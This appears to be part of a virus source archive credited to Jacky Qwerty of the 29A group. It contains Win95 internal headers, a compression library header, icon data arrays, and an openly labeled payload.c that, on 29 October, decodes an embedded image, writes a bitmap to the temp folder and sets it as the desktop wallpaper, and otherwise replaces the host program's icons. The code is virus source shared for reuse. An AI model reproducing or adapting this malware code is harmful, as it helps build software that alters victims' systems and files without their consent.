DWORD un6; // 1C0h
|
|
DWORD WOWChain; // 1C4h
|
|
WORD wSSBig; // 1C8h
|
|
WORD un7; // 1CAh
|
|
DWORD lp16SwitchRec; // 1CCh
|
|
DWORD un8[6]; // 1D0h
|
|
DWORD pSomeCritSect1; // 1E8h
|
|
DWORD pWin16Mutex; // 1ECh
|
|
DWORD pWin32Mutex; // 1F0h
|
|
DWORD pSomeCritSect2; // 1F4h
|
|
DWORD un9; // 1F8h
|
|
DWORD ripString; // 1FCh
|
|
DWORD LastTlsSetValueEIP[64]; // 200h (parallel to TlsArray, contains EIP
|
|
// where TLS value was last set from)
|
|
} THREAD_DATABASE, *PTHREAD_DATABASE;
|
|
????????????????????????????????????????????????????????????????[win95sys.h]??
|
|
????????????????????????????????????????????????????????????????[jqcoding.h]??
|
|
/*
|
|
JQCODING.H - Supertiny/fast Compression/Encryption library - C/C++ header
|
|
(c) 1998 by Jacky Qwerty/29A.
|
|
*/
|
|
|
|
unsigned long
|
|
__stdcall
|
|
jq_encode(void *out, /* output stream ptr */
|
|
const void *in, /* input stream ptr */
|
|
unsigned long in_len, /* input stream length */
|
|
void *mem64k); /* work mem ptr */
|
|
|
|
unsigned long
|
|
__stdcall
|
|
jq_decode(void *out, /* output stream ptr */
|
|
const void *in, /* input stream ptr */
|
|
unsigned long in_len, /* input stream length */
|
|
void *mem64k); /* work mem ptr */
|
|
????????????????????????????????????????????????????????????????[jqcoding.h]??
|
|
????????????????????????????????????????????????????????????????[winicons.h]??
|
|
// Win16/32 related Icon structures..
|
|
|
|
#include
|
|
|
|
#define SIZEOF_LARGE_ICON 0x2E8
|
|
#define SIZEOF_SMALL_ICON 0x128
|
|
|
|
#define SIZEOF_ICONS (SIZEOF_LARGE_ICON + SIZEOF_SMALL_ICON)
|
|
|
|
// Icon format (ID = 03h)
|
|
|
|
typedef struct _ICONIMAGE {
|
|
BITMAPINFOHEADER icHeader; // DIB header
|
|
RGBQUAD icColors[1]; // Color table
|
|
BYTE icXOR[1]; // DIB bits for XOR mask
|
|
BYTE icAND[1]; // DIB bits for AND mask
|
|
} ICONIMAGE, *PICONIMAGE;
|
|
|
|
// Group Icon format (ID = 0Eh)
|
|
|
|
typedef struct _ICONDIRENTRY {
|
|
BYTE bWidth; // Width, in pixels, of the image
|
|
BYTE bHeight; // Height, in pixels, of the image
|
|
BYTE bColorCount; // Number of colors in image (0 if >=8bpp)
|
|
BYTE bReserved; // Reserved
|
|
WORD wPlanes; // Color Planes
|
|
WORD wBitCount; // Bits per pixel
|
|
DWORD dwBytesInRes; // how many bytes in this resource?
|
|
WORD nID; // the ID
|
|
} ICONDIRENTRY, *PICONDIRENTRY;
|
|
|
|
#define SIZEOF_ICONDIRENTRY sizeof(ICONDIRENTRY)
|
|
|
|
typedef struct _ICONDIR {
|
|
WORD idReserved; // Reserved (must be 0)
|
|
WORD idType; // Resource type (1 for icons)
|
|
WORD idCount; // How many images?
|
|
ICONDIRENTRY idEntries[1]; // The entries for each image
|
|
} ICONDIR, *PICONDIR;
|
|
|
|
#define SIZEOF_ICONDIR 6
|
|
????????????????????????????????????????????????????????????????[winicons.h]??
|
|
??????????????????????????????????????????????????????????????????[winres.h]??
|
|
//Win16 (NE) related resource structures..
|
|
|
|
typedef struct {
|
|
WORD ID;
|
|
WORD count;
|
|
DWORD function;
|
|
} RESOURCE_TYPE, *PRESOURCE_TYPE;
|
|
|
|
typedef struct {
|
|
WORD offset;
|
|
WORD length;
|
|
WORD flags;
|
|
WORD ID;
|
|
WORD handle;
|
|
WORD usage;
|
|
} RESOURCE_INFO, *PRESOURCE_INFO;
|
|
??????????????????????????????????????????????????????????????????[winres.h]??
|
|
????????????????????????????????????????????????????????????????[jq29aico.h]??
|
|
#ifdef compr
|
|
|
|
BYTE jq29aComprIcons[] = {
|
|
0xd7,0x45,0xb1,0x44,0xc6,0x7d,0x61,0xa8,0x96,0xc0,0x9d,0x74,0xbb,
|
|
0x6d,0xbc,0x6b,0xa0,0xa6,0x57,0xc8,0x76,0x77,0x64,0x0c,0x7e,0x9a,
|
|
0x2f,0xb8,0xd2,0xcd,0xbc,0xa3,0xa0,0x33,0x50,0x3b,0x90,0x3b,0x1f,
|
|
0x46,0xe9,0xb2,0x7f,0xe4,0xd0,0x28,0x13,0x4e,0xfa,0x92,0x3e,0xcc,
|
|
0xd1,0xc3,0x92,0x95,0x1c,0x5e,0xda,0xaf,0x45,0x91,0x44,0xee,0xc7,
|
|
0x95,0x31,0x04,0x13,0x3d,0x1c,0x23,0x5d,0xa1,0x59,0xa9,0x34,0x0e,
|
|
0x7a,0x92,0x3f,0x65,0xac,0x3e,0x67,0xa8,0x4b,0x8d,0x7c,0x9e,0x27,
|
|
0x55,0xcc,0x83,0x60,0xa6,0x57,0xc8,0xf6,0x8a,0x72,0xff,0xe5,0xd1,
|
|
0xb9,0x14,0x33,0x7d,0xe1,0xa4,0x53,0xc0,0x9b,0x50,0xbb,0x10,0x3b,
|
|
0x6d,0xc1,0xe4,0xae,0xda,0x11,0x41,0xe1,0x1a,0x42,0x9d,0x1a,0xb3,
|
|
0x00,0x54,0x32,0x51,0x17,0x08,0xb9,0xe5,0x50,0x49,0x6e,0x4c,0x0c,
|
|
0x9f,0x26,0x16,0xcb,0x16,0xea,0xb6,0xa9,0x91,0xcc,0xb3,0x63,0xed,
|
|
0xf9,0xbc,0xa1,0x2c,0x10,0x75,0x06,0x60,0xd2,0x51,0xd0,0x01,0xcf,
|
|
0xda,0xae,0xf1,0x14,0x97,0xa3,0x32,0x1c,0x7e,0x8e,0xca,0x90,0x2b,
|
|
0x4e,0x4a,0x6c,0x82,0x91,0xd3,0xed,0x96,0x67,0xca,0xef,0x05,0x07,
|
|
0x3b,0xb6,0x1e,0x87,0xfb,0xe3,0x06,0xfe,0x2f,0xca,0x08,0x85,0x16,
|
|
0x2f,0xca,0x3f,0x83,0x9e,0x59,0x11,0xfd,0x97,0x46,0xc9,0x31,0x9b,
|
|
0x97,0x95,0x37,0x07,0x02,0x6f,0xc5,0x2b,0xce,0xf7,0x95,0x31,0x1a,
|
|
0x82,0x72,0xdf,0xd8,0x4c,0x3e,0x68,0xd9,0x1f,0x83,0x9d,0x6e,0xde,
|
|
0xa7,0x55,0xb9,0x04,0x93,0x40,0xe6,0x2a,0xcf,0x67,0x16,0x37,0x75,
|
|
0xf1,0x04,0xd5,0xc7,0x55,0x0c,0xbe,0x9a,0x27,0xc5,0x6c,0x43,0xe0,
|
|
0xb5,0x2a,0x31,0x02,0x1f,0x24,0x2b,0xb2,0x9c,0x5c,0xa3,0x5d,0xa0,
|
|
0x8b,0x53,0xbc,0x1b,0x5d,0x1f,0x55,0xcc,0xfe,0xe7,0xd5,0xcc,0xfe,
|
|
0xe7,0xd5,0xcc,0xfe,0xe7,0xa8,0x36,0x77,0x88,0x96,0x03,0xd2,0x6c,
|
|
0xe1,0xee,0x3a,0x54,0xaf,0x5f,0x9d,0xaf,0x8e,0xc8,0x0c,0xc4,0x29,
|
|
0xa7,0x0f,0x77,0x1b,0x4f,0xba,0xd0,0xb2,0x6c,0xaf,0xe3,0xaa,0x26,
|
|
0x58,0x20,0x00,0x5b,0xf3,0x76,0xf2,0x2c,0xb3,0x59,0xd4,0xa1,0x50,
|
|
0x18,0x48,0x00,0x6b,0x2d,0x79,0xee,0xc0,0x04,0x44,0xe2,0xd2,0x59
|
|
};
|
|
|
|
#define SIZEOF_COMPR_ICONS sizeof(jq29aComprIcons)
|
|
|
|
#else
|
|
|
|
BYTE jq29aIcons[] = {
|
|
0x28,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x01,
|
|
0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x80,0x00,0x00,
|
|
0x00,0x80,0x80,0x00,0x80,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x80,
|
|
0x80,0x00,0x00,0xc0,0xc0,0xc0,0x00,0x80,0x80,0x80,0x00,0x00,0x00,
|
|
0xff,0x00,0x00,0xff,0x00,0x00,0x00,0xff,0xff,0x00,0xff,0x00,0x00,
|
|
0x00,0xff,0x00,0xff,0x00,0xff,0xff,0x00,0x00,0xff,0xff,0xff,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x78,0xe3,0xf8,
|
|
0x00,0x70,0x63,0xf8,0x8f,0xe3,0x31,0xf1,0x87,0xe3,0x31,0xf1,0xc3,
|
|
0xff,0x10,0x01,0xc1,0xff,0x18,0x03,0xe1,0xf8,0x18,0xe3,0xf0,0xf0,
|
|
0x18,0xe3,0xf8,0xe3,0x1c,0xe7,0xf8,0x63,0x1c,0x47,0xfc,0x63,0x1c,
|
|
0x47,0xfc,0x63,0x1c,0x47,0x1c,0x63,0x1e,0x0f,0x1c,0x63,0x3e,0x0f,
|
|
0x80,0xf0,0x3e,0x0f,0xc1,0xf8,0x7f,0x1f,0xff,0xff,0xff,0xff,0xff,
|
|
0xff,0xff,0x7f,0xf0,0xf3,0xc0,0x27,0xf0,0x73,0x80,0xe7,0xe7,0x3f,
|
|
0x98,0xff,0xe7,0x3f,0x32,0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,
|
|
0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,0x7f,
|
|
0xff,0x3f,0x9c,0xff,0xff,0x3f,0x80,0xff,0xff,0x3f,0xc1,0xff,0xff,
|
|
0xff,0xff,0xff,0x28,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x20,0x00,
|
|
0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,
|
|
0x80,0x00,0x00,0x00,0x80,0x80,0x00,0x80,0x00,0x00,0x00,0x80,0x00,
|
|
0x80,0x00,0x80,0x80,0x00,0x00,0xc0,0xc0,0xc0,0x00,0x80,0x80,0x80,
|
|
0x00,0x00,0x00,0xff,0x00,0x00,0xff,0x00,0x00,0x00,0xff,0xff,0x00,
|
|
0xff,0x00,0x00,0x00,0xff,0x00,0xff,0x00,0xff,0xff,0x00,0x00,0xff,
|
|
0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x0c,0xdd,0x00,0x00,0x7b,0x5d,0x80,0x00,0xbf,0x63,0x00,0x00,
|
|
0xdc,0x6b,0x80,0x00,0xeb,0x6b,0x00,0x00,0x6b,0x6b,0x80,0x00,0x9c,
|
|
0xf7,0x00,0x00,0xff,0xff,0xc0,0x00,0xff,0xf3,0x80,0x00,0xcd,0x85,
|
|
0xff,0x00,0xb7,0x67,0x00,0x00,0xf6,0xd7,0xff,0x00,0xf6,0xf7,0x00,
|
|
0x00,0xf7,0x6f,0xff,0x00,0xf7,0x9f,0x00,0x00,0xff,0xff,0xfb,0x00
|
|
};
|
|
|
|
#endif
|
|
????????????????????????????????????????????????????????????????[jq29aico.h]??
|
|
?????????????????????????????????????????????????????????????????[payload.c]??
|
|
{
|
|
SYSTEMTIME SystemTime;
|
|
GetLocalTime(&SystemTime);
|
|
if ((BYTE)SystemTime.wDay == 29 && (BYTE)SystemTime.wMonth == 0xA) {
|
|
bPayLoadDay = TRUE;
|
|
#ifdef compr
|
|
jq_decode(HostLargeIcon + SIZEOF_ICONS,
|
|
jq29aComprIcons + SIZEOF_COMPR_ICONS,
|
|
SIZEOF_COMPR_ICONS,
|
|
ComprMem);
|
|
{
|
|
HANDLE hBmp;
|
|
DWORD cBytes;
|
|
if ((cBytes = GetTempPath(MAX_PATH, PathName)) - 1 < MAX_PATH - 1) {
|
|
if (PathName[cBytes - 1] != '\\')
|
|
PathName[cBytes++] = '\\';
|
|
*(PDWORD)(PathName + cBytes) = '.A92';
|
|
*(PDWORD)(PathName + cBytes + 4) = 'PMB';
|
|
hBmp = CreateFile(PathName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
|
|
FILE_ATTRIBUTE_NORMAL, 0);
|
|
if (hBmp != INVALID_HANDLE_VALUE)
|
|
if (GetFileSize(hBmp, NULL) == SIZEOF_BMP) {
|
|
CloseHandle(hBmp);
|
|
goto SetDeskWallPaper;
|
|
}
|
|
else {
|
|
{
|
|
PBYTE pSrc = HostLargeIcon;
|
|
PBYTE pTgt = jq29aBmp + 0xE;
|
|
DWORD nCount = 0x68;
|
|
*(PDWORD)(pTgt - 0xE) = 0x80764D42;
|
|
pTgt[0xA - 0xE] = 0x76;
|
|
do *pTgt++ = *pSrc++; while (--nCount);
|
|
((PBITMAPINFOHEADER)(pTgt - 0x68))->biWidth = 0x100;
|
|
((PBITMAPINFOHEADER)(pTgt - 0x68))->biHeight = 0x100;
|
|
*((PBYTE)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biSizeImage + 1)
|
|
= 0x80;
|
|
*(PWORD)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biXPelsPerMeter
|
|
= 0xECE;
|
|
*(PWORD)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biYPelsPerMeter
|
|
= 0xED8;
|
|
pSrc += 0x200;
|
|
{
|
|
DWORD nCountDwords = 32;
|
|
do {
|
|
DWORD nCountYPels = 8;
|
|
DWORD Pix = *((PDWORD)pSrc)++;
|
|
__asm {
|
|
mov eax, [Pix]
|
|
xchg ah, al
|
|
rol eax, 16
|
|
xchg ah, al
|
|
mov [Pix], eax
|
|
}
|
|
do {
|
|
DWORD PixCopy = Pix;
|
|
DWORD nCountBits = 32;
|
|
do {
|
|
DWORD nCountXPels = 4;
|
|
do {
|
|
*pTgt++ = (PixCopy & 0x80000000)? 0x66 : 0;
|
|
} while (--nCountXPels); PixCopy <<= 1;
|
|
} while (--nCountBits);
|
|
} while (--nCountYPels);
|
|
} while (--nCountDwords);
|
|
}
|
|
}
|
|
{
|
|
BOOL bBool = WriteFile(hBmp, jq29aBmp, SIZEOF_BMP, &cBytes,
|
|
NULL);
|
|
WriteFile(hBmp, jq29aBmp, 0, &cBytes, NULL);
|
|
CloseHandle(hBmp);
|
|
if (bBool) {
|
|
HINSTANCE hInst;
|
|
SetDeskWallPaper:
|
|
hInst = LoadLibrary("USER32");
|
|
if (hInst) {
|
|
DWORD (WINAPI *pfnSystemParametersInfo)(DWORD, DWORD,
|
|
PVOID, DWORD);
|
|
pfnSystemParametersInfo =
|
|
(DWORD (WINAPI *)(DWORD, DWORD, PVOID, DWORD))
|
|
GetProcAddress(hInst, "SystemParametersInfoA");
|
|
if (pfnSystemParametersInfo)
|
|
pfnSystemParametersInfo(SPI_SETDESKWALLPAPER,
|
|
0,
|
|
PathName,
|
|
SPIF_UPDATEINIFILE);
|
|
FreeLibrary(hInst);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
#else
|
|
{
|
|
PBYTE pTgt = HostLargeIcon;
|
|
PBYTE pSrc = jq29aIcons;
|
|
DWORD nCount = SIZEOF_ICONS;
|
|
do *pTgt++ = *pSrc++ while (--nCount);
|
|
}
|
|
#endif
|
|
}
|
|
}
|
|
?????????????????????????????????????????????????????????????????[payload.c]??
|
|
|
|
|
|
|
|
; Brought to you by 'The ZOO' !
|
|
|